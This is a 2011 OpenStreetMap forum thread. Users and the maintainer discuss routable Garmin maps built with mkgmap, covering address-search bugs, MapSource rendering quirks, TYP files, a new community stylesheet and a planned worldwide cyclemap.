Routing over several (more than 2) tiles in Mapsource
Address index still not 100% correct (works in Mapsource, in the active tile only on "old-style" GPS like etrex/60CSx/edge, does not work at all on GPS like Nuvi, Oregon)
Overview map for Mapsource empty (a non empty overview map would pan around quicker)I'm going back to the stable version (r1867) for the next update and it would be nice if you can test if things are any better.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 01.07.2011 09:31 · [flux]
Lambertus wrote:
Major things missing/broken
Routing over several (more than 2) tiles in Mapsource
Aha! That explains why I have to put via points into my routes.
I'm going back to the stable version (r1867) for the next update and it would be nice if you can test if things are any better.
If you are running the latest mkgmap now then there is a regression bug as well, that was fixed recently: amenity=shelter is rendered as camp ground. Must go and try that out.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.07.2011 10:26 · [flux]
Beddhist wrote:
I'm going back to the stable version (r1867) for the next update and it would be nice if you can test if things are any better.
If you are running the latest mkgmap now then there is a regression bug as well, that was fixed recently: amenity=shelter is rendered as camp ground. Must go and try that out.
Well not *the* latest, but one of the latest at least (can't check now which one exactly).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.07.2011 14:53 · [flux]
A new version is up, this time rendered without powerlines and with an older Mkgmap version. This probably means that the Mapnik TYP file won't work. Perhaps Ligfietser can give an indication of the usability of the Mapnik TYP file at this point.
I plan to continue to use the newest Mkgmap version with the next update if the problems mentioned in a few other topics on this forum still appear.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.07.2011 17:09 · [flux]
Typ file should work, altough maybe a few items have changed since r1867. You only have to take caution is that the nsis installer has been changed a lot since rev 1882 (?) so if you change it back to an earlier version of mkgmap I don't know if this has an impact on uninstalling the osm maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.07.2011 18:13 · [flux]
Ah yes, good points. The newer nsis installer automatically uninstalled previous installations, the older one used to copy and overwrite only. Anyway, this is only for one week hopefully.
Update: I'm upgrading the storage for the custom maps during which the site will be disabled. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.07.2011 17:29 · [flux]
Storage for the custom maps has been enlarged from 300GB to 64TB. Yes, you read that right: sixty-four terabyte!!!
The sad thing is that only 14TB is free because it appears there are other users who use the same storage as well. Pfff, not fair I say. I've even been threatened not to use all the available storage, failure to adhere to this demand will likely result in receiving a visit by several people... Do you believe that? 😐
Alas, I think we have to help ourselves with a mere ~10TB.
Oh well, guess it could have been worse. 😛 😄 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · carball (Gast) · 08.07.2011 04:21 · [flux]
Thanks anyway...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.07.2011 10:13 · [flux]
carball wrote:
Thanks anyway...
You're welcome 🙂
Note to all: There are some subtle problems with the remote storage of the custom map server which causes that some maps are not available through the webserver but at the same time the person who requested the map will have received an email that his map is ready (the map is ready, but it's not available on the webserver). I'm trying to fix/workaround this, but if you receive a "403 Forbidden" error in your browser then you will have to request your map again. Country maps are not affected by this. Sorry for any inconvenience.
Edit: Should be fixed now, but some requests made over the last two days may have experienced the problem (i.e. 403 Forbidden).
- Re: Worldwide routable Garmin maps: URL REMOVED · OttoPilot (Gast) · 08.07.2011 16:28 · [flux]
Lambertus, I cannot thank you enough for your effort in making the maps available for Garmin users.
I don't know if this topic has been risen before but I have not been able to find anything about it in this forum. I discovered that searching buildings by their name doesn't work in my Garmin 60CSx. I do not care about the buildings being rendered in my GPS the way they are in OSM view but I think it would be really useful to be able to find them through search. I wouldn't like to clutter the OpenStreetMap for other users by adding nodes (i.e. tourism:attraction) duplicating the building name just to make it searchable in Garmin devices.
Is there any possible solution to this?
Thank you very much. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.07.2011 08:25 · [flux]
OttoPilot wrote:
Lambertus, I cannot thank you enough for your effort in making the maps available for Garmin users.
I don't know if this topic has been risen before but I have not been able to find anything about it in this forum. I discovered that searching buildings by their name doesn't work in my Garmin 60CSx. I do not care about the buildings being rendered in my GPS the way they are in OSM view but I think it would be really useful to be able to find them through search. I wouldn't like to clutter the OpenStreetMap for other users by adding nodes (i.e. tourism:attraction) duplicating the building name just to make it searchable in Garmin devices.
Is there any possible solution to this?
Thank you very much.I may sound weird but I don't know if building names are indexed at all. And if they were then this would be disabled as the buildings are filtered out the OSM data at the moment. I'll ask this on the Mkgmap list.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.07.2011 15:27 · [flux]
An email on the talk mailinglist triggered some new ideas/improvements to the site. I'll reproduce my answer here to get your feedback as well:
colliar wrote:
Maarten Deen wrote:
Have a look at http://garmin.openstreetmap.nl/
Ther you can choose which regions to download. They will be packaged in
one map file.Thanks.
Is there a possibility to get/store your individual tile lists ?Unfortunately no. At least not at the moment. The tile boundaries and numbers vary between updates which makes keeping lists up-to-date difficult.
But I can imagine that users specify their own bounding box (polygon) of interest and let the website select the appropriate tiles that fit the polygon. This already works for the countries, so it should not be a huge deal to implement for user defined polygons. Would this meet your needs?
colliar wrote:
Can you download builds of current day ?
No. Maps are updated approximately once a week.
colliar wrote:
Let say 100 people want a update of Vienna next friday.
Two options:
- They can select Austria from the drop-down menu and start downloading immediately (only one person has to request the Austria map and wait for the server to complete the request).
- If everyone selects the same tiles for their custom request then they will (currently) have to enter their email address but the server will render the custom request only once and send an email with the download link to all who entered their email.
Perhaps I should enable the check for already available maps for custom maps as well. But this will generate an AJAX request to the server for every tile (de-)selected though...
Thoughts?
- Re: Worldwide routable Garmin maps: URL REMOVED · error68 (Gast) · 11.07.2011 19:45 · [flux]
Lambertus wrote:
I installed California in MapSource and searched for a few streets and every one of them worked well. Can you provide a streetname and cityname so that I can try to replicate the problem?
But unfortunately address search is still very problematic. On some older devices things work a bit better then the newer (e.g. Nuvi's) but still not perfect. Improving this has been a slow process and there is not much I can do about that.
See e.g. Mkgmap wiki page and the Mkgmap mailinglist
The main changes since 1625 are:
Continued improvements in the polygon / relation support
Command line options are now checked.
Lots of bug fixes and improvements.Major things missing/broken
Routing over several (more than 2) tiles in Mapsource
Address index still not 100% correct (works in Mapsource, in the active tile only on "old-style" GPS like etrex/60CSx/edge, does not work at all on GPS like Nuvi, Oregon)
Overview map for Mapsource empty (a non empty overview map would pan around quicker)I'm going back to the stable version (r1867) for the next update and it would be nice if you can test if things are any better.
I tested this with a few tiles, the result is the same. I think nüvi users have to wait until the addressing structure is fully transparent.
Funny is that most online tests about the nüvi2360 report that using OSM is supported. Looks like they all just copied from each other, never having seen the real device...Thank you very much for your effort,
best regards. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.07.2011 21:59 · [flux]
Found another problem with the remote storage on the custom map server which caused some dead symlinks lying around. This should be fixed now, but I'm not sure if the problems of the '403 Forbidden' errors are all solved.
- Re: Worldwide routable Garmin maps: URL REMOVED · stevemros (Gast) · 15.07.2011 23:37 · [flux]
Lambertus wrote:
I installed California in MapSource and searched for a few streets and every one of them worked well. Can you provide a streetname and cityname so that I can try to replicate the problem?
But unfortunately address search is still very problematic. On some older devices things work a bit better then the newer (e.g. Nuvi's) but still not perfect. Improving this has been a slow process and there is not much I can do about that.
See e.g. Mkgmap wiki page and the Mkgmap mailinglist
The main changes since 1625 are:
Continued improvements in the polygon / relation support
Command line options are now checked.
Lots of bug fixes and improvements.Major things missing/broken
Routing over several (more than 2) tiles in Mapsource
Address index still not 100% correct (works in Mapsource, in the active tile only on "old-style" GPS like etrex/60CSx/edge, does not work at all on GPS like Nuvi, Oregon)
Overview map for Mapsource empty (a non empty overview map would pan around quicker)I'm going back to the stable version (r1867) for the next update and it would be nice if you can test if things are any better.
I've recently been using the Canadian maps on my Mac with RoadTrip and a Garmin 60CS. The maps are great, but I've noticed the search is incomplete as well. The wiki for mkgmap mentions a --index option to generate a .mdr file that is related somehow to indexing and searching. Am I missing this file? Is there a way to generate it with the map download from the site?
BTW, thanks for a great site and service.
-Steve
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.07.2011 09:23 · [flux]
stevemros wrote:
I've recently been using the Canadian maps on my Mac with RoadTrip and a Garmin 60CS. The maps are great, but I've noticed the search is incomplete as well. The wiki for mkgmap mentions a --index option to generate a .mdr file that is related somehow to indexing and searching. Am I missing this file? Is there a way to generate it with the map download from the site?
The --index option is used and the .mdr file should be included in the .gmapi. Without these two you would not be able to find anything.
BTW, thanks for a great site and service.
You're welcome!
- Re: Worldwide routable Garmin maps: URL REMOVED · borosen (Gast) · 18.07.2011 08:04 · [flux]
On the front page it currently states that "Maps are based on OpenStreetMap data from: 01-07-2011".
At what frequency does this date change? I.e, when will data from say 04-07-2011 make it to the maps?Thank you for a great service.
I really appreciate it. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.07.2011 09:00 · [flux]
A new version, based on OSM data up to 17-07-2011, is being uploaded at this moment and will become available somewhere today.
I saw on the Mkgmap mailinglist that there is a new (special) Mkgmap version that should really improve the address search (ability to find a street on devices where basic searching is already working, not supporting more GPS devices). I'm thrilled to give it a go for the next update.
- Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 18.07.2011 13:46 · [flux]
Lambertus wrote:
Peter, I've confirmed the problem by just looking at the NZ Auckland tile. It's quite possible that the 180 degree line is the problem, but how and where (i.e. Splitter or Mkgmap). I'll gather some data to test with and write about this to the Mkgmap dev list.
Funny thing is that I can zoom in normally to 100 km, but one step further and the map disappears. Then, if I move the map to the left (i.e. scroll towards the 180 degree line) the map shows up again and when I zoom in again the map disappears again. This process can be repeated a few times more, but you end up looking at the empty ocean off the east-coast of the Northern Island in closeup.
Thanks for your report.
Edit: Ah, now I see. The problem also appears if you zoom in on the western part of the tile. You can keep zooming in as long as you keep a tile edge visible in the screen, but this doesn't apply for the top or bottom tile edge; only the vertical tile edges. As soon as you scroll the left or right tile edge out the window the map disappears.
Any progress on this?
Thanks,
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · borosen (Gast) · 19.07.2011 07:52 · [flux]
Lambertus wrote:
A new version, based on OSM data up to 17-07-2011, is being uploaded at this moment and will become available somewhere today.
Thanks, got it.
I take it there is no defined schedule for when the data is updated? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.07.2011 09:03 · [flux]
petersfreeman wrote:
Any progress on this?
No, I forgot 🙁 Sorry about that. I'll have a look this evening...
borosen wrote:
Lambertus wrote:
A new version, based on OSM data up to 17-07-2011, is being uploaded at this moment and will become available somewhere today.
Thanks, got it.
I take it there is no defined schedule for when the data is updated?Indeed. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · AlexandrosPapadopoulos (Gast) · 21.07.2011 21:03 · [flux]
Thanks once more for http://garmin.openstreetmap.nl - an fantastic resource.
Is there any way to include contour information, a-la http://www.opencyclemap.org/?zoom=13&la … &layers=B0 ? We're leaving on a cycling trip soon and it would be quite useful!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.07.2011 22:22 · [flux]
I don't offer a contour layer but some others do, e.g. openmtbmaps. They also have a page about creating your own contour layers.
- Re: Worldwide routable Garmin maps: URL REMOVED · nielskris (Gast) · 22.07.2011 11:07 · [flux]
hello all,
new to Openstreetmap and I have a beginners question I suppose... I downloaded the Netherlands map and installed it. In Mapsource the map appears with all the roads etc. but with lines instead of coloured areas. Also, when zooming in the lines thicken. This last problem is solved by zooming out and then in again. I can't figure out how to fix the coloured areas problem. Any help much appreciated.
samsung nc10 windows xp mapsource 6.16.3 - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.07.2011 11:21 · [flux]
Did you download these maps from garmin.openstreetmap.nl?
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- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.07.2011 18:46 · [flux]
Ok, I was amazed to see water color in the Waddenzee. Didn't know my maps could do that...
Anyway, I think the shading around the roads is one of the "improvements" made in MapSource over time. Perhaps it is possible to turn them off otherwise it's better to downgrade to an older MapSource version. The hatched (Dutch: gearceerde) areas are a normal Garmin standard drawing method for filling areas.
- Re: Worldwide routable Garmin maps: URL REMOVED · nielskris (Gast) · 22.07.2011 19:39 · [flux]
ok, thanks Lamberus, I didn't know that was Garmin standard.
It was a nice surprise to me too, water colour in the Waddenzee and even waterways.
Combined with the most recent waypoints (http://www.filo.nl/users/nopoints) I will try it for navigating the Waddenzee, beginning with a trip to Schiermonnikoog.Thank you for creating and maintaining all this wonderful OSM stuff!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.07.2011 22:08 · [flux]
You're welcome.
You (and others) may note that I hope to be able to offer a marine map in the near(?) future. Please notify me if you know of a marine oriented stylesheet for Mkgmap!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.07.2011 09:07 · [flux]
The 'water' colours in the Waddenzee are caused by the natural=wetland (marsh) tags, not by the sea which is not generated in Lambertus maps. Because he doesn't render the sea the strange shading occurs (I dont see this effect on my openfietsmap). You can get rid of Garmins default ugly hatched areas by using a typ file, like the optional Mapnik one.
- Re: Worldwide routable Garmin maps: URL REMOVED · nielskris (Gast) · 23.07.2011 10:05 · [flux]
Lambertus wrote:
You're welcome.
You (and others) may note that I hope to be able to offer a marine map in the near(?) future. Please notify me if you know of a marine oriented stylesheet for Mkgmap!
that would be wonderful. What about OpenSeamap - would it be possible to combine the efforts somehow?
- Re: Worldwide routable Garmin maps: URL REMOVED · nielskris (Gast) · 23.07.2011 10:13 · [flux]
ligfietser wrote:
You can get rid of Garmins default ugly hatched areas by using a typ file, like the optional Mapnik one.
thanks ligfietser, going to try that.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.07.2011 14:02 · [flux]
ligfietser wrote:
The 'water' colours in the Waddenzee are caused by the natural=wetland (marsh) tags, not by the sea which is not generated in Lambertus maps. Because he doesn't render the sea the strange shading occurs (I dont see this effect on my openfietsmap). You can get rid of Garmins default ugly hatched areas by using a typ file, like the optional Mapnik one.
Thanks for this information ligfietser. I also stumbled upon a previous email from you to the Mkgmap mailinglist which explains it a bit more (I think):
BTW I have noticed in the default style there isn't a tag for natural=land or a another background. If you don't specify a background, this will cause 'ghosting' problems in Mapsource. When you zoomed in or out, it disappears. This effect only shows up in the later versions of Mapsource (6.16.x). You don't see it in Basecamp.
Aargh, so much to work around and keep in mind when working with this Garmin stuff ...
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 23.07.2011 16:20 · [flux]
ligfietser wrote:
BTW I have noticed in the default style there isn't a tag for natural=land or a another background. If you don't specify a background, this will cause 'ghosting' problems in Mapsource. When you zoomed in or out, it disappears. This effect only shows up in the later versions of Mapsource (6.16.x). You don't see it in Basecamp.
ligfietser, it the background you are talking about an 0x4b polygon?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.07.2011 16:53 · [flux]
Good question Seldom,
I really dont know what is causing those ghosting structures. I only figured out that using a generate-sea option combined with a background polygon type 0x010100 those problems were solved. I think it's a mkgmap bug. - Re: Worldwide routable Garmin maps: URL REMOVED · Sulla (Gast) · 24.07.2011 11:27 · [flux]
GREAT service!!! Thanx, I am using it all the time!
I have a question on route calculation errors and a strange behaviour related to toll roads.
please see my posts at
http://forum.openstreetmap.org/viewtopic.php?id=13154
http://forum.openstreetmap.org/viewtopic.php?id=13155thans, Sulla
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.07.2011 08:26 · [flux]
Thanks 🙂
Update: I'm trying to get a new update out all weekend but a Splitter process keeps crashing so I'm trying different things to get things working again. If the new version is online then I'll start a test-run for a marine map (don't expect much from it, but it will be interesting to see what comes out).
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.07.2011 10:33 · [flux]
Lambertus, how about a cycle map based on my style and typ files? Maybe one of (western) Europe as a test?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.07.2011 11:23 · [flux]
Awesome suggestion, ligfietser! 😄
I would certainly like that. See, my fortune is that I do have the connections and server resources and the ability to automate things, but I don't have the time (nor will, I have to admit) to maintain the Mkgmap stylesheets and TYP files.
So, yes, I would be glad to incorporate your cyclemap as well as you have put much effort in developing a good stylesheet and TYP file.
There are changes needed to the website and such to accompany multiple types of maps, but I look forward to implement that. Perhaps we can meet IRL somewhere to discuss this further (or by mail/etc.)?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.07.2011 11:49 · [flux]
Sounds good, we can discuss this further by mail. I think a European Openfiets/cyclemap is a great thing and maybe I can help you with customizing the default styles without those gsm antennas, pipelines, powerlines etc and who knows even a blue sea ;-)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.07.2011 12:26 · [flux]
New update is online. This was generated with the latest Mkgmap (r2008) which includes improvements in address search (assigning streets and such to placenames).
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 27.07.2011 16:21 · [flux]
Any chance of cyclemaps for the Western Hemisphere?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.07.2011 08:44 · [flux]
Yes, coming up 😄
But, I didn't have time the last few days to discuss thinks with Ligfietser. Real life and all that unnecessary stuff 😛 I'm already glad to have been able to upload a new update.
Perhaps I'll be able to start a worldwide cyclemap run this weekend (It's easier to do a worldwide update then a Europe update with my setup and existing scripts). I've already performed some of the required changes to the website.
Hang in there...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.07.2011 09:46 · [flux]
😎 I'm looking forward to that.
The OFM cycle styles need to be modified for world wide use (it's now based on the situation in the Netherlands) though. For instance here in NL it is not allowed to cycle on Trunk roads. In the UK/London I have seen trunk roads on OSM with bike routes. In Spain some motorways are even allowed to cycle on (and I think in the US too). On my cycle maps those roads are not routable. Same for footways and bridleways (except with the tag bicycle=yes).Another question is will you be able to render the sea? I'm looking forward to see how this will work out with the flood-blocker parameter
(mkgmap option generate-sea: extend-sea-sectors,close-gaps=6000,floodblocker,land-tag=natural=background) - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 30.07.2011 07:55 · [flux]
Lambertus wrote:
Beddhist wrote:
I'm going back to the stable version (r1867) for the next update and it would be nice if you can test if things are any better.
If you are running the latest mkgmap now then there is a regression bug as well, that was fixed recently: amenity=shelter is rendered as camp ground. Must go and try that out.
Well not *the* latest, but one of the latest at least (can't check now which one exactly).
Well, I tried to get this fixed by the mkgmap people, but got fobbed off. They won't fix it, for reasons I don't understand. We will have to live with the maps being polluted by camp grounds where there aren't any...
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 30.07.2011 07:57 · [flux]
Lambertus wrote:
OttoPilot wrote:
Lambertus, I cannot thank you enough for your effort in making the maps available for Garmin users.
I don't know if this topic has been risen before but I have not been able to find anything about it in this forum. I discovered that searching buildings by their name doesn't work in my Garmin 60CSx. I do not care about the buildings being rendered in my GPS the way they are in OSM view but I think it would be really useful to be able to find them through search. I wouldn't like to clutter the OpenStreetMap for other users by adding nodes (i.e. tourism:attraction) duplicating the building name just to make it searchable in Garmin devices.
Is there any possible solution to this?
Thank you very much.I may sound weird but I don't know if building names are indexed at all. And if they were then this would be disabled as the buildings are filtered out the OSM data at the moment. I'll ask this on the Mkgmap list.
This causes a more serious problem: any gas station that is a building doesn't show up at all in the map and can't be searched for. I was going to put a POI in the map at N49.05902 E9.27165, but I remember people saying we should not map for rendering.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 30.07.2011 08:03 · [flux]
BTW I have noticed in the default style there isn't a tag for natural=land or a another background. If you don't specify a background, this will cause 'ghosting' problems in Mapsource. When you zoomed in or out, it disappears. This effect only shows up in the later versions of Mapsource (6.16.x). You don't see it in Basecamp.
Aargh, so much to work around and keep in mind when working with this Garmin stuff ...
As far as I can see this is a bug/feature in MS that occurs with all custom maps made by mkgmap or cgpsmapper. When zooming in, lines become thick and fuzzy, some roads and other lines can appear multiple times. The problem disappears if you zoom out one step, you pan or press Ctrl-G twice. Garmin don't want to know, of course, because Garmin maps aren't affected and MS is just about end of life, anyway.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.07.2011 09:27 · [flux]
Beddhist wrote:
Well, I tried to get this fixed by the mkgmap people, but got fobbed off. They won't fix it, for reasons I don't understand. We will have to live with the maps being polluted by camp grounds where there aren't any...
That. Or make your own stylesheet I'm afraid.
Beddhist wrote:
This causes a more serious problem: any gas station that is a building doesn't show up at all in the map and can't be searched for. I was going to put a POI in the map at N49.05902 E9.27165, but I remember people saying we should not map for rendering.
Prefiltering is proving to be not very useful in the end. For the current map version the buildings are already not filtered out anymore as is admin level 8 (9 and 10 are still left out).
Again a good reason to have your own stylesheet. It's just that I really don't want to make and maintain my own stylesheet along with the rest. So if someone want's to contribute to this project by maintaining a generic routing stylesheet then please do.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 30.07.2011 09:45 · [flux]
I notice now that the amenity=shelter are shown as tents with the mapnik typ file as well.
Garmin type 0x2b06 wasn't configured yet in the typ file so it showed the default Garmin symbol there.
I have fixed that now: http://mijndev.openstreetmap.nl/~ligfie … _r1946.zip - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 30.07.2011 23:47 · [flux]
Liegfietser,
What are you trying to achieve with this:
[_line] Type=0x7 ;18F3 ;typ=6 LineWidth=2 BorderWidth=0 UseOrientation=Y String1=0x0,18F3␣6␣7
When I put the cursor onto a dirt road I get a small rectangle instead of a label.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 30.07.2011 23:59 · [flux]
Lambertus wrote:
So if someone want's to contribute to this project by maintaining a generic routing stylesheet then please do.
I volunteer.
Liegfietser and I will have to coordinate this with his typ file.
Perhaps I will create a new topic where people can post requests, etc. relevant to the style. We need an opening post explaining what to post there and what not, as most people have no understanding what this does. I need some help with that now, as I haven't looked at style sheets myself lately.
Where do we store the updated styles?
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · OttoPilot (Gast) · 31.07.2011 02:39 · [flux]
Lambertus, I think you should know this:
I'm trying to download the 25-07-2011 predefined map of Chile but all I get on the download page is the Linux version and a couple of the .txt files, neither gmapsupp nor Mac files.
I beg you to fix this. Thank you. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 31.07.2011 08:08 · [flux]
@Beddhist:
Great to hear you want to help maintaining the style and typ files. I'll send you an e-mail to discuss the details.
About type 0x07: in the default style of mkgmap this is used for cycleways AND service roads. I tried to put there an empty label (a description like "cycleway/service" doesnt look good there because those are two different kinds of roads). Unfortunately Garmin cannot render a blank label so it puts some rubbish like that small rectangle. The best way is to seperate those roads into two different garmin types, but unfortunately there are limited Garmin types which are routable. If you use a typ file by default it won't be a problem, then we can use overlays to distinguish those roads and add even more features, like tracktype (1-5) cyclelanes etc etc - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 31.07.2011 08:22 · [flux]
ligfietser wrote:
If you use a typ file by default it won't be a problem, then we can use overlays to distinguish those roads and add even more features, like tracktype (1-5) cyclelanes etc etc
I don't know whether Lambertus wants to use a typ by default and I also don't know whether it's a good idea to force it onto people. On the other hand, we should be able to force mkgmap to correctly translate lanes and walkways. In my way of thinking we should set things up so that the style will render the map as correctly as possible without a typ, which can then be used for enhancements.
Should we move this discussion into a new topic?
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 31.07.2011 08:50 · [flux]
Or we can continue here: http://forum.openstreetmap.org/viewtopic.php?id=10032
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 31.07.2011 09:33 · [flux]
OttoPilot wrote:
Lambertus, I think you should know this:
I'm trying to download the 25-07-2011 predefined map of Chile but all I get on the download page is the Linux version and a couple of the .txt files, neither gmapsupp nor Mac files.
I beg you to fix this. Thank you.Otto,
I seems Lambertus has cycled his system. Go and have a new map built!
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.07.2011 10:36 · [flux]
Beddhist wrote:
Lambertus wrote:
So if someone want's to contribute to this project by maintaining a generic routing stylesheet then please do.
I volunteer.
Thank you, that is most generous!
Liegfietser and I will have to coordinate this with his typ file.
Ok, I did mean stylesheet and not TYP file 😉 But a TYP file would be nice too, although the Mapnik TYP is already available.
Imho it's the Mkgmap stylesheet that has to be adapted to get a better generic routing experience. The current one includes e.g. admin boundaries level 9 and 10 in the map which confuses the hell out of people (perhaps admin level 8 also). These boundaries are not helpful if you just want to be routed somewhere and you want to be able to see what's on the map.
The same thing applies perhaps to buildings as well. They are fine if you want to have a topographic map but they clutter the map if you simply want to see where you are on route. My prefiltering used to leave them out because of this but more and more useful information is combined with these buildings (POI, housenumbers etc). So the buildings should be available to Mkgmap so it can use the information but the stylesheet can leave them out so they don't appear on the map.
I hope this demonstrates what I'm looking for (maybe others have something to say about this as well?): a clean generic routable map, but fully functional. Imho, this requires a better Mkgmap stylesheet then the default one and perhaps a TYP file too, but I'm not convinced we really need a TYP to achieve that goal.
Comparing to the default stylesheet, I don't think there is need for big changes, just some tweaks. Maybe these can even be backported tot the default stylesheet at a later point.
Perhaps I will create a new topic where people can post requests, etc. relevant to the style. We need an opening post explaining what to post there and what not, as most people have no understanding what this does. I need some help with that now, as I haven't looked at style sheets myself lately.
Good idea. Please do.
Where do we store the updated styles?
Some place where other people can contribute too? Perhaps the Mkgmap SVN would be nice or OpenStreetMap SVN, perhaps Sourceforge, even something like shared storage space might be suitable (but a version control system would be preferable).
Something totally different:
The first worldwide version of Openfietsmap Lite (using Ligfietser's stylesheet and TYP) is being uploaded to the country server at this moment. I'm working to get the webserver prepared to host the map. I understand, from Ligfietser' comments, that it contains some Dutch names and other Dutch-specific stuff, but it will be a nice test and hopefully already quite usable. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 31.07.2011 11:29 · [flux]
Lambertus wrote:
Something totally different:
The first worldwide version of Openfietsmap Lite (using Ligfietser's stylesheet and TYP) is being uploaded to the country server at this moment. I'm working to get the webserver prepared to host the map. I understand, from Ligfietser' comments, that it contains some Dutch names and other Dutch-specific stuff, but it will be a nice test and hopefully already quite usable.Can't wait to download it 🙄
Most dutch labels have been translated into English (maybe I forgot a few) but routing is based on the Dutch traffic rules. Like footways that are mostly non routable (because we have a nice infrastructure of bike paths here)
and trunk roads are forbidden too. In other parts of the world maybe the routing should be set to foot instead of bicycle to get better results, we will see. Also avoidance of 'highways' should not set on, because bike paths are on this map the major highways ;-) - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 31.07.2011 11:51 · [flux]
I have created an SVN repository at https://mkgmap-style-sheets.googlecode.com/svn/trunk/
Minko and myself are the owners.The issue tracker is here: http://code.google.com/p/mkgmap-style-s … ssues/list
Lambertus: I need an email address that 'corresponds to a Google a/c' so I can add you.
Minko: go ahead and add some issues into the tracker, so we can test this out. I can then start creating the stylesheet.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · OttoPilot (Gast) · 31.07.2011 22:30 · [flux]
Beddhist wrote:
OttoPilot wrote:
Lambertus, I think you should know this:
I'm trying to download the 25-07-2011 predefined map of Chile but all I get on the download page is the Linux version and a couple of the .txt files, neither gmapsupp nor Mac files.
I beg you to fix this. Thank you.Otto,
I seems Lambertus has cycled his system. Go and have a new map built!
Regards,
Peter.I still get the same with new cycle: only Linux, tiles.txt and country.txt.
Lambertus, please fix it. I need to check my edits to OSM.
Thanks. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 31.07.2011 22:49 · [flux]
Confirmed, and it only concerns Chile. 2 other countries I checked are OK. Strange: first it gives me a download link, the next time I try it wants me to enter my email, the next time the download link is back.
UK includes 2 tiles of the E Mediterranean. Palestine and Crete no longer belong to the Brit Empire...
Otto: if you are in a hurry download the tiles from the main page, d/l MapSetToolkit and use that to install the tiles into MapSource. That's what I used to do, only I also compiled my own map, because I didn't want to wait for a month...
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 31.07.2011 23:04 · [flux]
Lambertus wrote:
New update is online. This was generated with the latest Mkgmap (r2008) which includes improvements in address search (assigning streets and such to placenames).
The licence file on the d/l for Andorra says:
Map created with mkgmap-r1946
The main page (static, obviously) lists an even older version. I want to use the same version here for testing the style sheet that you use, so please let me know when you change versions.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.08.2011 08:08 · [flux]
OttoPilot wrote:
I still get the same with new cycle: only Linux, tiles.txt and country.txt.
Lambertus, please fix it. I need to check my edits to OSM.
Thanks.Hmm, it occurred twice in two different updates. There must be something wrong with your edits 😛
I'll check it out.
Beddhist wrote:
Confirmed, and it only concerns Chile. 2 other countries I checked are OK.
Thanks for checking.
Strange: first it gives me a download link, the next time I try it wants me to enter my email, the next time the download link is back.
If I'm correct then the email option is shown first while the system is checking for an existing map. If something goes wrong with the 'check for existing map' function then the email option remains visible.
UK includes 2 tiles of the E Mediterranean. Palestine and Crete no longer belong to the Brit Empire...
I blame the evil Cloudmade country polygons! I know these should be updated but didn't think it was that important.
Beddhist wrote:
Lambertus wrote:
New update is online. This was generated with the latest Mkgmap (r2008) which includes improvements in address search (assigning streets and such to placenames).
The licence file on the d/l for Andorra says:
Map created with mkgmap-r1946
The main page (static, obviously) lists an even older version. I want to use the same version here for testing the style sheet that you use, so please let me know when you change versions.
I see this causes confusion, but it has to do with the multiple stages involved in creating these maps.
